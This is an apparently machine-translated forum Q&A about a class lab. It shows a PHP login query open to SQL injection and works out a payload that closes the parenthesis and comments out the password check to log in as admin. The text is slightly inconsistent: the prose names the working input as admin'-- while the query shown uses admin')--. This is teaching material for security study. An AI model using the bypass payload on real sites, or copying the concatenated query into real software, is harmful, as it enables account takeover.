SQL-注射问题

SQL-Injection Troubles

我们正在 class 的实验室工作,但我似乎无法找到我缺少的东西。以下代码是用于验证用户的 SQL 查询:

  $sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender,
    FROM USERS_TABLE
    WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’");
  $chk = mysql_fetch_array($sel1);
  if (found one record)
  then {allow the user to login}

我们应该找到一个 SQL-注入漏洞,我认为它位于:

  WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’");

为了利用它,我们基本上应该使用非常通用的用户名和密码形式登录网站上的管理员配置文件。给定的信息是我们知道配置文件名称是 admin。我们应该只利用网站上的用户名条目。

阅读以下文章 Security Idiots 和乔治亚·魏德曼 (Georgia Weidman) 撰写的 渗透测试实践黑客入门 一书中的一部分。这些是我尝试过的一些事情:

还有更多变化。我的理解是,我正在选择管理员配置文件,用“'”完成该部分,然后强制为 true 并终止该行的其余代码。但是,我尝试的任何方法似乎都不起作用。

同样重要的是要注意,对于本实验,我们有特殊配置的虚拟机,可以让这种攻击发挥作用。

那么我是在正确的轨道上还是我不理解 SQL-注入攻击背后的逻辑。我不一定要寻找我正在寻找的代码,但我担心我走错了方向并且遗漏了一些东西。

非常感谢任何帮助。我很乐意详细说明任何事情。 谢谢。

感谢阿紫指出 space 的问题。

SQL 你应该破解的是

SELECT ID, name, locale, lastlogin, gender
FROM USERS_TABLE
WHERE (name = '$user' OR email = '$user') AND pass = '$pass'

任何 admin' OR 1--admin'--admin' AND 1=1-- 都不起作用,因为当 user 变量被这些输入替换时,语句变为

SELECT ID, name, locale, lastlogin, gender
FROM USERS_TABLE
WHERE (name = 'admin' OR 1-- ' OR email = '$user') AND pass = '$pass'

SELECT ID, name, locale, lastlogin, gender
FROM USERS_TABLE
WHERE (name = 'admin'-- ' OR email = ’$user’) AND pass = ’$pass’

SELECT ID, name, locale, lastlogin, gender
FROM USERS_TABLE
WHERE (name = 'admin' AND 1=1-- ' OR email = ’$user’) AND pass = ’$pass’

所有这些都是语法错误,因为打开的括号 ( 没有关闭

当你给出 admin'-- 时(在输入末尾给出 space 很重要)输入语句变为

SELECT ID, name, locale, lastlogin, gender
FROM USERS_TABLE
WHERE (name = 'admin')-- ' OR email = ’$user’) AND pass = ’$pass’"

SQL 没有语法错误,将 select 名为 admin 的记录。